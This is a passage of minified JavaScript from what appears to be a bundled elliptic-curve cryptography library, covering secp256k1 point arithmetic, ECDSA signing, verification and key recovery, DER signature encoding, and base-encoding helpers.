n=0;n<i.windows&&e!==or;n++){const{nextN:o,offset:a,isZero:s,isNeg:u}=lr(e,n,i);if(e=o,!s){const n=t[a];r=r.add(u?n.negate():n)}}return wr(e),r}getPrecomputes(n,t,e){let r=pr.get(t);return r||(r=this.precomputeWindow(t,n),1!==n&&("function"==typeof e&&(r=e(r)),pr.set(t,r))),r}cached(n,t,e){const r=gr(n);return this.wNAF(r,this.getPrecomputes(r,n,e),t)}unsafe(n,t,e,r){const i=gr(n);return 1===i?this._unsafeLadder(n,t,r):this.wNAFUnsafe(i,this.getPrecomputes(i,n,e),t,r)}createCache(n,t){cr(t,this.bits),yr.set(n,t),pr.delete(n)}hasCache(n){return 1!==gr(n)}}function mr(n,t,e,r){hr(e,n),dr(r,t);const i=e.length,o=r.length;if(i!==o)throw new Error("arrays of points and scalars must have equal length");const a=n.ZERO,s=ke(BigInt(i));let u=1;s>12?u=s-3:s>4?u=s-2:s>0&&(u=2);const c=Ue(u),f=new Array(Number(c)+1).fill(a);let l=a;for(let n=Math.floor((t.BITS-1)/u)*u;n>=0;n-=u){f.fill(a);for(let t=0;t<o;t++){const i=r[t],o=Number(i>>BigInt(n)&c);f[o]=f[o].add(e[t])}let t=a;for(let n=f.length-1,e=a;n>0;n--)e=e.add(f[n]),t=t.add(e);if(l=l.add(t),0!==n)for(let n=0;n<u;n++)l=l.double()}return l}function vr(n,t,e){if(t){if(t.ORDER!==n)throw new Error("Field.ORDER must match order: Fp == p, Fn == n");return function(n){const t=Xe.reduce((n,t)=>(n[t]="function",n),{ORDER:"bigint",MASK:"bigint",BYTES:"number",BITS:"number"});Se(n,t)}(t),t}return er(n,{isLE:e})}function xr(n,t,e={},r){if(void 0===r&&(r="edwards"===n),!t||"object"!=typeof t)throw new Error(`expected valid ${n} CURVE object`);for(const n of["p","n","h"]){const e=t[n];if(!("bigint"==typeof e&&e>or))throw new Error(`CURVE.${n} must be positive bigint`)}const i=vr(t.p,e.Fp,r),o=vr(t.n,e.Fn,r),a=["Gx","Gy","a","weierstrass"===n?"b":"d"];for(const n of a)if(!i.isValid(t[n]))throw new Error(`CURVE.${n} must be valid field element of CURVE.Fp`);return{CURVE:t=Object.freeze(Object.assign({},t)),Fp:i,Fn:o}}const Er=(n,t)=>(n+(n>=0?t:-t)/Sr)/t;function Br(n){if(!["compact","recovered","der"].includes(n))throw new Error('Signature format must be "compact", "recovered", or "der"');return n}function _r(n,t){const e={};for(let r of Object.keys(t))e[r]=void 0===n[r]?t[r]:n[r];return ye(e.lowS,"lowS"),ye(e.prehash,"prehash"),void 0!==e.format&&Br(e.format),e}class Ar extends Error{constructor(n=""){super(n)}}const Ir={Err:Ar,_tlv:{encode:(n,t)=>{const{Err:e}=Ir;if(n<0||n>256)throw new e("tlv.encode: wrong tag");if(1&t.length)throw new e("tlv.encode: unpadded data");const r=t.length/2,i=we(r);if(i.length/2&128)throw new e("tlv.encode: long form length too big");const o=r>127?we(i.length/2|128):"";return we(n)+o+i+t},decode(n,t){const{Err:e}=Ir;let r=0;if(n<0||n>256)throw new e("tlv.encode: wrong tag");if(t.length<2||t[r++]!==n)throw new e("tlv.decode: wrong tlv");const i=t[r++];let o=0;if(!!(128&i)){const n=127&i;if(!n)throw new e("tlv.decode(long): indefinite length not supported");if(n>4)throw new e("tlv.decode(long): byte length is too big");const a=t.subarray(r,r+n);if(a.length!==n)throw new e("tlv.decode: length bytes not complete");if(0===a[0])throw new e("tlv.decode(long): zero leftmost byte");for(const n of a)o=o<<8|n;if(r+=n,o<128)throw new e("tlv.decode(long): not minimal encoding")}else o=i;const a=t.subarray(r,r+o);if(a.length!==o)throw new e("tlv.decode: wrong value length");return{v:a,l:t.subarray(r+o)}}},_int:{encode(n){const{Err:t}=Ir;if(n<kr)throw new t("integer: negative integers are not allowed");let e=we(n);if(8&Number.parseInt(e[0],16)&&(e="00"+e),1&e.length)throw new t("unexpected DER parsing assertion: unpadded hex");return e},decode(n){const{Err:t}=Ir;if(128&n[0])throw new t("invalid signature integer: negative");if(0===n[0]&&!(128&n[1]))throw new t("invalid signature integer: unnecessary leading zero");return me(n)}},toSig(n){const{Err:t,_int:e,_tlv:r}=Ir,i=Be("signature",n),{v:o,l:a}=r.decode(48,i);if(a.length)throw new t("invalid signature: left bytes after parsing");const{v:s,l:u}=r.decode(2,o),{v:c,l:f}=r.decode(2,u);if(f.length)throw new t("invalid signature: left bytes after parsing");return{r:e.decode(s),s:e.decode(c)}},hexFromSig(n){const{_tlv:t,_int:e}=Ir,r=t.encode(2,e.encode(n.r))+t.encode(2,e.encode(n.s));return t.encode(48,r)}},kr=BigInt(0),Ur=BigInt(1),Sr=BigInt(2),Lr=BigInt(3),Or=BigInt(4);function Cr(n,t){const{BYTES:e}=n;let r;if("bigint"==typeof t)r=t;else{let i=Be("private key",t);try{r=n.fromBytes(i)}catch(n){throw new Error(`invalid private key: expected ui8a of size ${e}, got ${typeof t}`)}}if(!n.isValidNot0(r))throw new Error("invalid private key: out of range [1..N-1]");return r}function Kr(n,t={}){const e=xr("weierstrass",n,t),{Fp:r,Fn:i}=e;let o=e.CURVE;const{h:a,n:s}=o;Se(t,{},{allowInfinityPoint:"boolean",clearCofactor:"function",isTorsionFree:"function",fromBytes:"function",toBytes:"function",endo:"object",wrapPrivateKey:"boolean"});const{endo:u}=t;if(u&&(!r.is0(o.a)||"bigint"!=typeof u.beta||!Array.isArray(u.basises)))throw new Error('invalid endo: expected "beta": bigint and "basises": array');const c=Tr(r,i);function f(){if(!r.isOdd)throw new Error("compression is not supported: Field does not have .isOdd()")}const l=t.toBytes||function(n,t,e){const{x:i,y:o}=t.toAffine(),a=r.toBytes(i);if(ye(e,"isCompressed"),e){f();return tt(Rr(!r.isOdd(o)),a)}return tt(Uint8Array.of(4),a,r.toBytes(o))},h=t.fromBytes||function(n){ge(n,void 0,"Point");const{publicKey:t,publicKeyUncompressed:e}=c,i=n.length,o=n[0],a=n.subarray(1);if(i!==t||2!==o&&3!==o){if(i===e&&4===o){const n=r.BYTES,t=r.fromBytes(a.subarray(0,n)),e=r.fromBytes(a.subarray(n,2*n));if(!p(t,e))throw new Error("bad point: is not on curve");return{x:t,y:e}}throw new Error(`bad point: got length ${i}, expected compressed=${t} or uncompressed=${e}`)}{const n=r.fromBytes(a);if(!r.isValid(n))throw new Error("bad point: is not on curve, wrong x");const t=d(n);let e;try{e=r.sqrt(t)}catch(n){const t=n instanceof Error?": "+n.message:"";throw new Error("bad point: is not on curve, sqrt error"+t)}f();return!(1&~o)!==r.isOdd(e)&&(e=r.neg(e)),{x:n,y:e}}};function d(n){const t=r.sqr(n),e=r.mul(t,n);return r.add(r.add(e,r.mul(n,o.a)),o.b)}function p(n,t){const e=r.sqr(t),i=d(n);return r.eql(e,i)}if(!p(o.Gx,o.Gy))throw new Error("bad curve params: generator point");const y=r.mul(r.pow(o.a,Lr),Or),g=r.mul(r.sqr(o.b),BigInt(27));if(r.is0(r.add(y,g)))throw new Error("bad curve params: a or b");function w(n,t,e=!1){if(!r.isValid(t)||e&&r.is0(t))throw new Error(`bad point coordinate ${n}`);return t}function b(n){if(!(n instanceof B))throw new Error("ProjectivePoint expected")}function m(n){if(!u||!u.basises)throw new Error("no endo");return function(n,t,e){const[[r,i],[o,a]]=t,s=Er(a*n,e),u=Er(-i*n,e);let c=n-s*r-u*o,f=-s*i-u*a;const l=c<kr,h=f<kr;l&&(c=-c),h&&(f=-f);const d=Ue(Math.ceil(ke(e)/2))+Ur;if(c<kr||c>=d||f<kr||f>=d)throw new Error("splitScalar (endomorphism): failed, k="+n);return{k1neg:l,k1:c,k2neg:h,k2:f}}(n,u.basises,i.ORDER)}const v=Oe((n,t)=>{const{X:e,Y:i,Z:o}=n;if(r.eql(o,r.ONE))return{x:e,y:i};const a=n.is0();null==t&&(t=a?r.ONE:r.inv(o));const s=r.mul(e,t),u=r.mul(i,t),c=r.mul(o,t);if(a)return{x:r.ZERO,y:r.ZERO};if(!r.eql(c,r.ONE))throw new Error("invZ was invalid");return{x:s,y:u}}),x=Oe(n=>{if(n.is0()){if(t.allowInfinityPoint&&!r.is0(n.Y))return;throw new Error("bad point: ZERO")}const{x:e,y:i}=n.toAffine();if(!r.isValid(e)||!r.isValid(i))throw new Error("bad point: x or y not field elements");if(!p(e,i))throw new Error("bad point: equation left != right");if(!n.isTorsionFree())throw new Error("bad point: not in prime-order subgroup");return!0});function E(n,t,e,i,o){return e=new B(r.mul(e.X,n),e.Y,e.Z),t=sr(i,t),e=sr(o,e),t.add(e)}class B{constructor(n,t,e){this.X=w("x",n),this.Y=w("y",t,!0),this.Z=w("z",e),Object.freeze(this)}static CURVE(){return o}static fromAffine(n){const{x:t,y:e}=n||{};if(!n||!r.isValid(t)||!r.isValid(e))throw new Error("invalid affine point");if(n instanceof B)throw new Error("projective point not allowed");return r.is0(t)&&r.is0(e)?B.ZERO:new B(t,e,r.ONE)}static fromBytes(n){const t=B.fromAffine(h(ge(n,void 0,"point")));return t.assertValidity(),t}static fromHex(n){return B.fromBytes(Be("pointHex",n))}get x(){return this.toAffine().x}get y(){return this.toAffine().y}precompute(n=8,t=!0){return A.createCache(this,n),t||this.multiply(Lr),this}assertValidity(){x(this)}hasEvenY(){const{y:n}=this.toAffine();if(!r.isOdd)throw new Error("Field doesn't support isOdd");return!r.isOdd(n)}equals(n){b(n);const{X:t,Y:e,Z:i}=this,{X:o,Y:a,Z:s}=n,u=r.eql(r.mul(t,s),r.mul(o,i)),c=r.eql(r.mul(e,s),r.mul(a,i));return u&&c}negate(){return new B(this.X,r.neg(this.Y),this.Z)}double(){const{a:n,b:t}=o,e=r.mul(t,Lr),{X:i,Y:a,Z:s}=this;let u=r.ZERO,c=r.ZERO,f=r.ZERO,l=r.mul(i,i),h=r.mul(a,a),d=r.mul(s,s),p=r.mul(i,a);return p=r.add(p,p),f=r.mul(i,s),f=r.add(f,f),u=r.mul(n,f),c=r.mul(e,d),c=r.add(u,c),u=r.sub(h,c),c=r.add(h,c),c=r.mul(u,c),u=r.mul(p,u),f=r.mul(e,f),d=r.mul(n,d),p=r.sub(l,d),p=r.mul(n,p),p=r.add(p,f),f=r.add(l,l),l=r.add(f,l),l=r.add(l,d),l=r.mul(l,p),c=r.add(c,l),d=r.mul(a,s),d=r.add(d,d),l=r.mul(d,p),u=r.sub(u,l),f=r.mul(d,h),f=r.add(f,f),f=r.add(f,f),new B(u,c,f)}add(n){b(n);const{X:t,Y:e,Z:i}=this,{X:a,Y:s,Z:u}=n;let c=r.ZERO,f=r.ZERO,l=r.ZERO;const h=o.a,d=r.mul(o.b,Lr);let p=r.mul(t,a),y=r.mul(e,s),g=r.mul(i,u),w=r.add(t,e),m=r.add(a,s);w=r.mul(w,m),m=r.add(p,y),w=r.sub(w,m),m=r.add(t,i);let v=r.add(a,u);return m=r.mul(m,v),v=r.add(p,g),m=r.sub(m,v),v=r.add(e,i),c=r.add(s,u),v=r.mul(v,c),c=r.add(y,g),v=r.sub(v,c),l=r.mul(h,m),c=r.mul(d,g),l=r.add(c,l),c=r.sub(y,l),l=r.add(y,l),f=r.mul(c,l),y=r.add(p,p),y=r.add(y,p),g=r.mul(h,g),m=r.mul(d,m),y=r.add(y,g),g=r.sub(p,g),g=r.mul(h,g),m=r.add(m,g),p=r.mul(y,m),f=r.add(f,p),p=r.mul(v,m),c=r.mul(w,c),c=r.sub(c,p),p=r.mul(w,y),l=r.mul(v,l),l=r.add(l,p),new B(c,f,l)}subtract(n){return this.add(n.negate())}is0(){return this.equals(B.ZERO)}multiply(n){const{endo:e}=t;if(!i.isValidNot0(n))throw new Error("invalid scalar: out of range");let r,o;const a=n=>A.cached(this,n,n=>ur(B,n));if(e){const{k1neg:t,k1:i,k2neg:s,k2:u}=m(n),{p:c,f}=a(i),{p:l,f:h}=a(u);o=f.add(h),r=E(e.beta,c,l,t,s)}else{const{p:t,f:e}=a(n);r=t,o=e}return ur(B,[r,o])[0]}multiplyUnsafe(n){const{endo:e}=t,r=this;if(!i.isValid(n))throw new Error("invalid scalar: out of range");if(n===kr||r.is0())return B.ZERO;if(n===Ur)return r;if(A.hasCache(this))return this.multiply(n);if(e){const{k1neg:t,k1:i,k2neg:o,k2:a}=m(n),{p1:s,p2:u}=function(n,t,e,r){let i=t,o=n.ZERO,a=n.ZERO;for(;e>or||r>or;)e&ar&&(o=o.add(i)),r&ar&&(a=a.add(i)),i=i.double(),e>>=ar,r>>=ar;return{p1:o,p2:a}}(B,r,i,a);return E(e.beta,s,u,t,o)}return A.unsafe(r,n)}multiplyAndAddUnsafe(n,t,e){const r=this.multiplyUnsafe(t).add(n.multiplyUnsafe(e));return r.is0()?void 0:r}toAffine(n){return v(this,n)}isTorsionFree(){const{isTorsionFree:n}=t;return a===Ur||(n?n(B,this):A.unsafe(this,s).is0())}clearCofactor(){const{clearCofactor:n}=t;return a===Ur?this:n?n(B,this):this.multiplyUnsafe(a)}isSmallOrder(){return this.multiplyUnsafe(a).is0()}toBytes(n=!0){return ye(n,"isCompressed"),this.assertValidity(),l(B,this,n)}toHex(n=!0){return Nn(this.toBytes(n))}toString(){return`<Point ${this.is0()?"ZERO":this.toHex()}>`}get px(){return this.X}get py(){return this.X}get pz(){return this.Z}toRawBytes(n=!0){return this.toBytes(n)}_setWindowSize(n){this.precompute(n)}static normalizeZ(n){return ur(B,n)}static msm(n,t){return mr(B,i,n,t)}static fromPrivateKey(n){return B.BASE.multiply(Cr(i,n))}}B.BASE=new B(o.Gx,o.Gy,r.ONE),B.ZERO=new B(r.ZERO,r.ONE,r.ZERO),B.Fp=r,B.Fn=i;const _=i.BITS,A=new br(B,t.endo?Math.ceil(_/2):_);return B.BASE.precompute(8),B}function Rr(n){return Uint8Array.of(n?2:3)}function Tr(n,t){return{secretKey:t.BYTES,publicKey:1+n.BYTES,publicKeyUncompressed:1+2*n.BYTES,publicKeyHasPrefix:!0,signature:2*t.BYTES}}function Fr(n,t={}){const{Fn:e}=n,r=t.randomBytes||it,i=Object.assign(Tr(n.Fp,e),{seed:ir(e.ORDER)});function o(n){try{return!!Cr(e,n)}catch(n){return!1}}function a(n=r(i.seed)){return function(n,t,e=!1){const r=n.length,i=rr(t),o=ir(t);if(r<16||r<o||r>1024)throw new Error("expected "+o+"-1024 bytes of input, got "+r);const a=De(e?ve(n):me(n),t-Ke)+Ke;return e?Ee(a,i):xe(a,i)}(ge(n,i.seed,"seed"),e.ORDER)}function s(t,r=!0){return n.BASE.multiply(Cr(e,t)).toBytes(r)}function u(t){if("bigint"==typeof t)return!1;if(t instanceof n)return!0;const{secretKey:r,publicKey:o,publicKeyUncompressed:a}=i;if(e.allowedLengths||r===o)return;const s=Be("key",t).length;return s===o||s===a}const c={isValidSecretKey:o,isValidPublicKey:function(t,e){const{publicKey:r,publicKeyUncompressed:o}=i;try{const i=t.length;return(!0!==e||i===r)&&((!1!==e||i===o)&&!!n.fromBytes(t))}catch(n){return!1}},randomSecretKey:a,isValidPrivateKey:o,randomPrivateKey:a,normPrivateKeyToScalar:n=>Cr(e,n),precompute:(t=8,e=n.BASE)=>e.precompute(t,!1)};return Object.freeze({getPublicKey:s,getSharedSecret:function(t,r,i=!0){if(!0===u(t))throw new Error("first arg must be private key");if(!1===u(r))throw new Error("second arg must be public key");const o=Cr(e,t);return n.fromHex(r).multiply(o).toBytes(i)},keygen:function(n){const t=a(n);return{secretKey:t,publicKey:s(t)}},Point:n,utils:c,lengths:i})}function Pr(n,t,e={}){Sn(t),Se(e,{},{hmac:"function",lowS:"boolean",randomBytes:"function",bits2int:"function",bits2int_modN:"function"});const r=e.randomBytes||it,i=e.hmac||((n,...e)=>he(t,n,tt(...e))),{Fp:o,Fn:a}=n,{ORDER:s,BITS:u}=a,{keygen:c,getPublicKey:f,getSharedSecret:l,utils:h,lengths:d}=Fr(n,e),p={prehash:!1,lowS:"boolean"==typeof e.lowS&&e.lowS,format:void 0,extraEntropy:!1},y="compact";function g(n){return n>s>>Ur}function w(n,t){if(!a.isValidNot0(t))throw new Error(`invalid signature ${n}: out of range 1..Point.Fn.ORDER`);return t}class b{constructor(n,t,e){this.r=w("r",n),this.s=w("s",t),null!=e&&(this.recovery=e),Object.freeze(this)}static fromBytes(n,t=y){let e;if(function(n,t){Br(t);const e=d.signature;ge(n,"compact"===t?e:"recovered"===t?e+1:void 0,`${t} signature`)}(n,t),"der"===t){const{r:t,s:e}=Ir.toSig(ge(n));return new b(t,e)}"recovered"===t&&(e=n[0],t="compact",n=n.subarray(1));const r=a.BYTES,i=n.subarray(0,r),o=n.subarray(r,2*r);return new b(a.fromBytes(i),a.fromBytes(o),e)}static fromHex(n,t){return this.fromBytes(Zn(n),t)}addRecoveryBit(n){return new b(this.r,this.s,n)}recoverPublicKey(t){const e=o.ORDER,{r,s:i,recovery:u}=this;if(null==u||![0,1,2,3].includes(u))throw new Error("recovery id invalid");if(s*Sr<e&&u>1)throw new Error("recovery id is ambiguous for h>1 curve");const c=2===u||3===u?r+s:r;if(!o.isValid(c))throw new Error("recovery id 2 or 3 invalid");const f=o.toBytes(c),l=n.fromBytes(tt(Rr(!(1&u)),f)),h=a.inv(c),d=v(Be("msgHash",t)),p=a.create(-d*h),y=a.create(i*h),g=n.BASE.multiplyUnsafe(p).add(l.multiplyUnsafe(y));if(g.is0())throw new Error("point at infinify");return g.assertValidity(),g}hasHighS(){return g(this.s)}toBytes(n=y){if(Br(n),"der"===n)return Zn(Ir.hexFromSig(this));const t=a.toBytes(this.r),e=a.toBytes(this.s);if("recovered"===n){if(null==this.recovery)throw new Error("recovery bit must be present");return tt(Uint8Array.of(this.recovery),t,e)}return tt(t,e)}toHex(n){return Nn(this.toBytes(n))}assertValidity(){}static fromCompact(n){return b.fromBytes(Be("sig",n),"compact")}static fromDER(n){return b.fromBytes(Be("sig",n),"der")}normalizeS(){return this.hasHighS()?new b(this.r,a.neg(this.s),this.recovery):this}toDERRawBytes(){return this.toBytes("der")}toDERHex(){return Nn(this.toBytes("der"))}toCompactRawBytes(){return this.toBytes("compact")}toCompactHex(){return Nn(this.toBytes("compact"))}}const m=e.bits2int||function(n){if(n.length>8192)throw new Error("input is too large");const t=me(n),e=8*n.length-u;return e>0?t>>BigInt(e):t},v=e.bits2int_modN||function(n){return a.create(m(n))},x=Ue(u);function E(n){return Ie("num < 2^"+u,n,kr,x),a.toBytes(n)}function B(n,e){return ge(n,void 0,"message"),e?ge(t(n),void 0,"prehashed message"):n}return Object.freeze({keygen:c,getPublicKey:f,getSharedSecret:l,utils:h,lengths:d,Point:n,sign:function(e,o,s={}){e=Be("message",e);const{seed:u,k2sig:c}=function(t,e,i){if(["recovered","canonical"].some(n=>n in i))throw new Error("sign() legacy options not supported");const{lowS:o,prehash:s,extraEntropy:u}=_r(i,p);t=B(t,s);const c=v(t),f=Cr(a,e),l=[E(f),E(c)];if(null!=u&&!1!==u){const n=!0===u?r(d.secretKey):u;l.push(Be("extraEntropy",n))}const h=tt(...l),y=c;return{seed:h,k2sig:function(t){const e=m(t);if(!a.isValidNot0(e))return;const r=a.inv(e),i=n.BASE.multiply(e).toAffine(),s=a.create(i.x);if(s===kr)return;const u=a.create(r*a.create(y+s*f));if(u===kr)return;let c=(i.x===s?0:2)|Number(i.y&Ur),l=u;return o&&g(u)&&(l=a.neg(u),c^=1),new b(s,l,c)}}}(e,o,s),f=function(n,t,e){if("number"!=typeof n||n<2)throw new Error("hashLen must be a number");if("number"!=typeof t||t<2)throw new Error("qByteLen must be a number");if("function"!=typeof e)throw new Error("hmacFn must be a function");const r=n=>new Uint8Array(n),i=n=>Uint8Array.of(n);let o=r(n),a=r(n),s=0;const u=()=>{o.fill(1),a.fill(0),s=0},c=(...n)=>e(a,o,...n),f=(n=r(0))=>{a=c(i(0),n),o=c(),0!==n.length&&(a=c(i(1),n),o=c())},l=()=>{if(s++>=1e3)throw new Error("drbg: tried 1000 values");let n=0;const e=[];for(;n<t;){o=c();const t=o.slice();e.push(t),n+=o.length}return tt(...e)};return(n,t)=>{let e;for(u(),f(n);!(e=t(l()));)f();return u(),e}}(t.outputLen,a.BYTES,i);return f(u,c)},verify:function(t,e,r,i={}){const{lowS:o,prehash:s,format:u}=_r(i,p);if(r=Be("publicKey",r),e=B(Be("message",e),s),"strict"in i)throw new Error("options.strict was renamed to lowS");const c=void 0===u?function(n){let t;const e="string"==typeof n||In(n),r=!e&&null!==n&&"object"==typeof n&&"bigint"==typeof n.r&&"bigint"==typeof n.s;if(!e&&!r)throw new Error("invalid signature, expected Uint8Array, hex string or Signature instance");if(r)t=new b(n.r,n.s);else if(e){try{t=b.fromBytes(Be("sig",n),"der")}catch(n){if(!(n instanceof Ir.Err))throw n}if(!t)try{t=b.fromBytes(Be("sig",n),"compact")}catch(n){return!1}}return t||!1}(t):b.fromBytes(Be("sig",t),u);if(!1===c)return!1;try{const t=n.fromBytes(r);if(o&&c.hasHighS())return!1;const{r:i,s}=c,u=v(e),f=a.inv(s),l=a.create(u*f),h=a.create(i*f),d=n.BASE.multiplyUnsafe(l).add(t.multiplyUnsafe(h));if(d.is0())return!1;return a.create(d.x)===i}catch(n){return!1}},recoverPublicKey:function(n,t,e={}){const{prehash:r}=_r(e,p);return t=B(t,r),b.fromBytes(n,"recovered").recoverPublicKey(t).toBytes()},Signature:b,hash:t})}function jr(n){const t={a:n.a,b:n.b,p:n.Fp.ORDER,n:n.n,h:n.h,Gx:n.Gx,Gy:n.Gy},e=n.Fp;let r=n.allowedPrivateKeyLengths?Array.from(new Set(n.allowedPrivateKeyLengths.map(n=>Math.ceil(n/2)))):void 0;return{CURVE:t,curveOpts:{Fp:e,Fn:er(t.n,{BITS:n.nBitLength,allowedLengths:r,modFromBytes:n.wrapPrivateKey}),allowInfinityPoint:n.allowInfinityPoint,endo:n.endo,isTorsionFree:n.isTorsionFree,clearCofactor:n.clearCofactor,fromBytes:n.fromBytes,toBytes:n.toBytes}}}function Hr(n){const{CURVE:t,curveOpts:e,hash:r,ecdsaOpts:i}=function(n){const{CURVE:t,curveOpts:e}=jr(n),r={hmac:n.hmac,randomBytes:n.randomBytes,lowS:n.lowS,bits2int:n.bits2int,bits2int_modN:n.bits2int_modN};return{CURVE:t,curveOpts:e,hash:n.hash,ecdsaOpts:r}}(n);return function(n,t){const e=t.Point;return Object.assign({},t,{ProjectivePoint:e,CURVE:Object.assign({},n,tr(e.Fn.ORDER,e.Fn.BITS))})}(n,Pr(Kr(t,e),r,i))}const $r={p:BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"),n:BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"),h:BigInt(1),a:BigInt(0),b:BigInt(7),Gx:BigInt("0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798"),Gy:BigInt("0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8")},Nr={beta:BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),basises:[[BigInt("0x3086d221a7d46bcde86c90e49284eb15"),-BigInt("0xe4437ed6010e88286f547fa90abfe4c3")],[BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8"),BigInt("0x3086d221a7d46bcde86c90e49284eb15")]]},Dr=BigInt(2);const zr=er($r.p,{sqrt:function(n){const t=$r.p,e=BigInt(3),r=BigInt(6),i=BigInt(11),o=BigInt(22),a=BigInt(23),s=BigInt(44),u=BigInt(88),c=n*n*n%t,f=c*c*n%t,l=ze(f,e,t)*f%t,h=ze(l,e,t)*f%t,d=ze(h,Dr,t)*c%t,p=ze(d,i,t)*d%t,y=ze(p,o,t)*p%t,g=ze(y,s,t)*y%t,w=ze(g,u,t)*g%t,b=ze(w,s,t)*y%t,m=ze(b,e,t)*f%t,v=ze(m,a,t)*p%t,x=ze(v,r,t)*c%t,E=ze(x,Dr,t);if(!zr.eql(zr.sqr(E),n))throw new Error("Cannot find square root");return E}}),Mr=function(n,t){const e=t=>Hr({...n,hash:t});return{...e(t),create:e}}({...$r,Fp:zr,lowS:!0,endo:Nr},ce);var Vr=e(925);function qr(n){return n instanceof Uint8Array||ArrayBuffer.isView(n)&&"Uint8Array"===n.constructor.name}function Wr(n,...t){if(!qr(n))throw new Error("Uint8Array expected");if(t.length>0&&!t.includes(n.length))throw new Error("Uint8Array expected of length "+t+", got length="+n.length)}function Gr(n,t){return!!Array.isArray(t)&&(0===t.length||(n?t.every(n=>"string"==typeof n):t.every(n=>Number.isSafeInteger(n))))}function Zr(n){if("function"!=typeof n)throw new Error("function expected");return!0}function Yr(n,t){if("string"!=typeof t)throw new Error(`${n}: string expected`);return!0}function Xr(n){if(!Number.isSafeInteger(n))throw new Error(`invalid integer: ${n}`)}function Jr(n){if(!Array.isArray(n))throw new Error("array expected")}function Qr(n,t){if(!Gr(!0,t))throw new Error(`${n}: array of strings expected`)}function ni(n,t){if(!Gr(!1,t))throw new Error(`${n}: array of numbers expected`)}function ti(...n){const t=n=>n,e=(n,t)=>e=>n(t(e));return{encode:n.map(n=>n.encode).reduceRight(e,t),decode:n.map(n=>n.decode).reduce(e,t)}}function ei(n){const t="string"==typeof n?n.split(""):n,e=t.length;Qr("alphabet",t);const r=new Map(t.map((n,t)=>[n,t]));return{encode:r=>(Jr(r),r.map(r=>{if(!Number.isSafeInteger(r)||r<0||r>=e)throw new Error(`alphabet.encode: digit index outside alphabet "${r}". Allowed: ${n}`);return t[r]})),decode:t=>(Jr(t),t.map(t=>{Yr("alphabet.decode",t);const e=r.get(t);if(void 0===e)throw new Error(`Unknown letter: "${t}". Allowed: ${n}`);return e}))}}function ri(n=""){return Yr("join",n),{encode:t=>(Qr("join.decode",t),t.join(n)),decode:t=>(Yr("join.decode",t),t.split(n))}}function ii(n,t="="){return Xr(n),Yr("padding",t),{encode(e){for(Qr("padding.encode",e);e.length*n%8;)e.push(t);return e},decode(e){Qr("padding.decode",e);let r=e.length;if(r*n%8)throw new Error("padding: invalid, string should have whole number of bytes");for(;r>0&&e[r-1]===t;r--){if((r-1)*n%8==0)throw new Error("padding: invalid, string has too much padding")}return e.slice(0,r)}}}function oi(n){return Zr(n),{encode:n=>n,decode:t=>n(t)}}function ai(n,t,e){if(t<2)throw new Error(`convertRadix: invalid from=${t}, base cannot be less than 2`);if(e<2)throw new Error(`convertRadix: invalid to=${e}, base cannot be less than 2`);if(Jr(n),!n.length)return[];let r=0;const i=[],o=Array.from(n,n=>{if(Xr(n),n<0||n>=t)throw new Error(`invalid integer: ${n}`);return n}),a=o.length;for(;;){let n=0,s=!0;for(let i=r;i<a;i++){const a=o[i],u=t*n,c=u+a;if(!Number.isSafeInteger(c)||u/t!==n||c-a!==u)throw new Error("convertRadix: carry overflow");const f=c/e;n=c%e;const l=Math.floor(f);if(o[i]=l,!Number.isSafeInteger(l)||l*e+n!==c)throw new Error("convertRadix: carry overflow");s&&(l?s=!1:r=i)}if(i.push(n),s)break}for(let t=0;t<n.length-1&&0===n[t];t++)i.push(0);return i.reverse()}const si=(n,t)=>0===t?n:si(t,n%t),ui=(n,t)=>n+(t-si(n,t)),ci=(()=>{let n=[];for(let t=0;t<40;t++)n.push(2**t);return n})();function fi(n,t,e,r){if(Jr(n),t<=0||t>32)throw new Error(`convertRadix2: wrong from=${t}`);if(e<=0||e>32)throw new Error(`convertRadix2: wrong to=${e}`);if(ui(t,e)>32)throw new Error(`convertRadix2: carry overflow from=${t} to=${e} carryBits=${ui(t,e)}`);let i=0,o=0;const a=ci[t],s=ci[e]-1,u=[];for(const r of n){if(Xr(r),r>=a)throw new Error(`convertRadix2: invalid data word=${r} from=${t}`);if(i=i<<t|r,o+t>32)throw new Error(`convertRadix2: carry overflow pos=${o} from=${t}`);for(o+=t;o>=e;o-=e)u.push((i>>o-e&s)>>>0);const n=ci[o];if(void 0===n)throw new Error("invalid carry");i&=n-1}if(i=i<<e-o&s,!r&&o>=t)throw new Error("Excess padding");if(!r&&i>0)throw new Error(`Non-zero padding: ${i}`);return r&&o>0&&u.push(i>>>0),u}function li(n){Xr(n);return{encode:t=>{if(!qr(t))throw new Error("radix.encode input should be Uint8Array");return ai(Array.from(t),256,n)},decode:t=>(ni("radix.decode",t),Uint8Array.from(ai(t,n,256)))}}function hi(n,t=!1){if(Xr(n),n<=0||n>32)throw new Error("radix2: bits should be in (0..32]");if(ui(8,n)>32||ui(n,8)>32)throw new Error("radix2: carry overflow");return{encode:e=>{if(!qr(e))throw new Error("radix2.encode input should be Uint8Array");return fi(Array.from(e),8,n,!t)},decode:e=>(ni("radix2.decode",e),Uint8Array.from(fi(e,n,8,t)))}}function di(n){return Zr(n),function(...t){try{return n.apply(null,t)}catch(n){}}}function pi(n,t){return Xr(n),Zr(t),{encode(e){if(!qr(e))throw new Error("checksum.encode: input should be Uint8Array");const r=t(e).slice(0,n),i=new Uint8Array(e.length+n);return i.set(e),i.set(r,e.length),i},decode(e){if(!qr(e))throw new Error("checksum.decode: input should be Uint8Array");const r=e.slice(0,-n),i=e.slice(-n),o=t(r).slice(0,n);for(let t=0;t<n;t++)if(o[t]!==i[t])throw new Error("Invalid checksum");return r}}}const 